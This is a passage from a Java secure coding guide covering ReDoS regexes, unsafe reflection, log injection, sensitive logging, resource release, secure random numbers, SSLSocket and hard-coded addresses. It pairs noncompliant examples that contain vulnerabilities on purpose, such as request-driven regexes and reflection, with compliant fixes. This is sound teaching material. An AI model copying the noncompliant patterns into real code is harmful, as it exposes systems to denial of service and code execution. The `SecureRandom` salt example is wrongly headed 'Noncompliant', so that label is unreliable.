... 1829 } else { 1830 ... 1831 } 1832 ... 1833} 1834``` 1835 1836This noncompliant code example uses the `a(b|c+)+d` regex which has the ReDoS risk. When the matched string resembles **accccccccccccccccx**, the code execution time sees exponential growth with the increase in the number of **c** characters. 1837 1838**\[Compliant Code Example]** 1839 1840```java 1841private static final Pattern REGEX_PATTER = Pattern.compile("a[bc]+d"); 1842 1843public static void main(String[] args) { 1844 ... 1845 Matcher matcher = REGEX_PATTER.matcher(args[0]); 1846 if (matcher.matches()) { 1847 ... 1848 } else { 1849 ... 1850 } 1851 ... 1852} 1853``` 1854 1855This compliant code example simplifies the regex into `a[bc]+d` without changing the function, eliminating the ReDoS risk. 1856 1857**\[Noncompliant Code Example]** 1858 1859```java 1860String key = request.getParameter("keyword"); 1861... 1862String regex = "[a-zA-Z0-9_-]+@" + key + "\\.com"; 1863Pattern searchPattern = Pattern.compile(regex); 1864... 1865``` 1866 1867This noncompliant code example uses the keyword specified by an external input source to construct the regex. The ReDoS risk may occur when the keyword contains repetitive groups. Therefore, during code development, do not use external data directly as regexes or to construct regexes. 1868 1869## Do not use external data directly as the class or method name in the reflection operation 1870 1871**\[Description]** 1872 1873Using external data as the class or method name in the reflection operation can lead to an unexpected logic process, that is, unsafe reflection. This can be exploited by ill-intentioned users to bypass security checks or execute arbitrary code. If external data is required for reflection operations, the data must be validated against a class or method trustlist. Besides, the program could also allow users to select classes or methods in a given scope to protect reflection operations. 1874 1875**\[Noncompliant Code Example]** 1876 1877```java 1878String className = request.getParameter("class"); 1879... 1880Class objClass = Class.forName(className); 1881BaseClass obj = (BaseClass) objClass.newInstance(); 1882obj.doSomething(); 1883``` 1884 1885This noncompliant code example uses an external class name to directly construct an object through reflection. An ill-intentioned user can construct a malicious `BaseClass` subclass object, take control over a `BaseClass` subclass, and execute arbitrary code in the `doSomething()` method of the subclass. An ill-intentioned user can further use the code to execute the default constructor of any class. Even if a `ClassCastException` is thrown in class conversion, the code in the constructor is executed as expected by the ill-intentioned user. 1886 1887**\[Compliant Code Example]** 1888 1889```java 1890String classIndex = request.getParameter("classIndex"); 1891String className = (String) reflectClassesMap.get(classIndex); 1892if (className != null) { 1893 Class objClass = Class.forName(className); 1894 BaseClass obj = (BaseClass) objClass.newInstance(); 1895 obj.doSomething(); 1896} else { 1897 throw new IllegalStateException("Invalid reflect class!"); 1898} 1899... 1900``` 1901 1902In this compliant code example, an external user can only specify the class index. If this class index can be mapped to a class name, the reflection operation is performed; if not, the program considers it invalid. 1903 1904# Log Auditing 1905 1906#### Do not log external data 1907 1908**\[Description]** 1909 1910Recording external data into logs may incur the following risks: 1911 1912- Log injection: Ill-intentioned users can use characters such as carriage returns and line feeds to inject a complete log. 1913- Leak of sensitive information: Recording user-supplied sensitive information into logs may leak the sensitive information. 1914- Junk log or log overwriting: If a user enters very long strings, a large number of junk logs may be generated. If logs are cyclically overwritten, valid logs may be maliciously overwritten. 1915 1916Therefore, do not record external data in logs. If external data must be logged, validate and sanitize the external data and truncate long strings. Before being recorded in logs, sensitive data such as keys and passwords must be masked with a fixed number of asterisks (\*), and other sensitive data, such as mobile numbers and email addresses, need to be anonymized. 1917 1918**\[Noncompliant Code Example]** 1919 1920```java 1921String jsonData = getRequestBodyData(request); 1922if (!validateRequestData(jsonData)) { 1923 LOG.error("Request data validate fail! Request Data : " + jsonData); 1924} 1925``` 1926 1927In this noncompliant code example, the requested JSON data will be directly logged when the validation fails. Sensitive data, if any, in the JSON string may be leaked. An ill-intentioned user can use carriage returns and line feeds to inject a crafted log into the JSON string. A long JSON string can lead to redundant logs. 1928 1929**\[Compliant Code Example]** 1930 1931Newline characters, such as **\\r\\n** in external data, could be replaced before being recorded in logs to prevent log injection. The following code example shows a compliant implementation: 1932 1933```java 1934public String replaceCRLF(String message) { 1935 if (message == null) { 1936 return ""; 1937 } 1938 return message.replace('\n', '_').replace('\r', '_'); 1939} 1940``` 1941 1942#### Do not log sensitive information such as passwords and keys 1943 1944**\[Description]** 1945 1946Sensitive data, such as passwords and keys as well as their ciphertext forms, shall not be recorded in logs. Otherwise, the sensitive data may be leaked. If such data is absolutely needed in logs, replace it with a fixed number of asterisks (\*). 1947 1948**\[Noncompliant Code Example]** 1949 1950```java 1951private static final Logger LOGGER = Logger.getLogger(TestCase1.class); 1952... 1953LOGGER.info("Login success, user is " + userName + ", password is " + 1954 encrypt(pwd.getBytes(StandardCharsets.UTF_8))); 1955``` 1956 1957**\[Compliant Code Example]** 1958 1959```java 1960private static final Logger LOGGER = Logger.getLogger(TestCase1.class); 1961... 1962LOGGER.info("Login success, user is " + userName + ", password is ********."); 1963``` 1964 1965# Performance and Resource Management 1966 1967#### Release resources in **try-with-resource** or **finally** during I/O operations 1968 1969**\[Description]** 1970 1971Resources need to be released in a timely manner when they are no longer needed. However, when exceptions occur, resource release is often ignored. This requires explicitly use of `close()` or another method in the **finally** block of the **try-catch-finally** structure to release resources during database and I/O operations. If multiple I/O objects need to be released using `close()`, each `close()` invocation must be done in a separate **try-catch** structure, so as to prevent a release failure of one I/O object from affecting the release of other I/O objects. 1972 1973Java 7 provides the automatic resource management feature **try-with-resource**. It takes precedence over **try-finally**, so the resulting code is more concise and clear, and the resulting exceptions are more valuable. Especially for multiple resources or exceptions, **try-finally** may lose the previous exception, while **try-with-resource** retains the first exception and treats subsequent exceptions as suppressed exceptions, which can be checked based on the array returned by `getSuppressed()`. 1974 1975**try-finally** is also used in scenarios such as `lock()` and `unlock()`. 1976 1977**\[Compliant Code Example]** 1978 1979```java 1980try (FileInputStream in = new FileInputStream(inputFileName); 1981 FileOutputStream out = new FileOutputStream(outputFileName)) { 1982 copy(in, out); 1983} 1984``` 1985 1986# Miscellaneous 1987 1988#### Use cryptographically secure random numbers in security scenarios 1989 1990**\[Description]** 1991 1992Insecure random numbers may be partially or entirely predicted, causing security risks in the system. Therefore, cryptographically secure random numbers must be used in security scenarios. Cryptographic secure random numbers fall into two types: 1993 1994- Random numbers generated by true random number generators (TRNGs). 1995- Random numbers generated by pseudo random number generators (PRNGs) which use the few random numbers generated by TRNGs as seeds 1996 1997In Java, `SecureRandom` is a cryptographically secure PRNG. When using PRNGs to generate random numbers, make sure to use true random numbers as seeds. 1998 1999Common security scenarios include: 2000 2001- Generation of IVs, salts, keys, etc. for cryptographic algorithm purposes 2002- Generation of session IDs 2003- Generation of random numbers in the challenge algorithm 2004- Generation of random numbers of verification codes 2005 2006**\[Noncompliant Code Example]** 2007 2008```java 2009public byte[] generateSalt() { 2010 byte[] salt = new byte[8]; 2011 Random random = new Random(123456L); 2012 random.nextBytes(salt); 2013 return salt; 2014} 2015``` 2016 2017`Random` only generates insecure random numbers, which cannot be used as salts. 2018 2019**\[Noncompliant Code Example]** 2020 2021```java 2022public byte[] generateSalt() { 2023 byte[] salt = new byte[8]; 2024 SecureRandom random = new SecureRandom(); 2025 random.nextBytes(salt); 2026 return salt; 2027} 2028``` 2029 2030#### Use SSLSocket, but not Socket, for secure data exchange 2031 2032**\[Description]** 2033 2034Programs must use SSLSocket, but not Socket, for network communications involving cleartext sensitive information. Socket provides cleartext communication wherein the sensitive data may be intercepted by attackers, so that the attackers can launch man-in-the-middle attacks to tamper with packets. SSLSocket provides security protection on the basis of Socket, such as identity authentication, data encryption, and integrity protection. 2035 2036**\[Noncompliant Code Example]** 2037 2038```java 2039try { 2040 Socket socket = new Socket(); 2041 socket.connect(new InetSocketAddress(ip, port), 10000); 2042 os = socket.getOutputStream(); 2043 os.write(userInfo.getBytes(StandardCharsets.UTF_8)); 2044 ... 2045} catch (IOException ex) { 2046 //Handle the exception 2047} finally { 2048 //Close the stream 2049} 2050``` 2051 2052This noncompliant code example uses Socket to transfer cleartext packets. Sensitive information, if any, in the packets may be leaked or tampered with. 2053 2054**\[Compliant Code Example]** 2055 2056```java 2057try { 2058 SSLSocketFactory sslSocketFactory = 2059 (SSLSocketFactory) SSLSocketFactory.getDefault(); 2060 SSLSocket sslSocket = (SSLSocket) sslSocketFactory.createSocket(ip, port); 2061 os = sslSocket.getOutputStream(); 2062 os.write(userInfo.getBytes(StandardCharsets.UTF_8)); 2063 ... 2064} catch (IOException ex) { 2065 //Handle the exception 2066} finally { 2067 //Close the stream 2068} 2069``` 2070 2071This compliant code example uses SSLSocket to protect packets using SSL/TLS. 2072 2073**\[Exception]** 2074 2075The mechanisms that SSLSocket provides to ensure the secure transfer of packets may result in significant performance overhead. Regular sockets are sufficient under the following circumstances: 2076 2077- The data being sent over the socket is not sensitive. 2078- The data is sensitive but properly encrypted. 2079 2080#### Avoid public network addresses in code 2081 2082 2083 2084**\[Description]** 2085 2086Providing public network addresses that are invisible and unknown to users in code or scripts can raise doubts among customers. 2087 2088Public network addresses (including public IP addresses, public URLs/domain names, and email addresses) contained in the released software (including software packages and patch packages) must meet the following requirements: 20891\. Avoid public network addresses that are invisible on UIs or not disclosed in product documentation. 20902\. Do not write disclosed public IP addresses in code or scripts. They can be stored in configuration files or databases. 2091 2092The public IP addresses built in open-source or third-party software must meet the first requirement. 2093 2094**\[Exception]** 2095 2096This requirement is not mandatory when public network addresses must be specified as required by standard protocols. For example, an assembled public network URL must be specified for the namespace of functions based on the SOAP protocol. W3.org addresses on HTTP pages and feature names in XML parsers are also exceptions.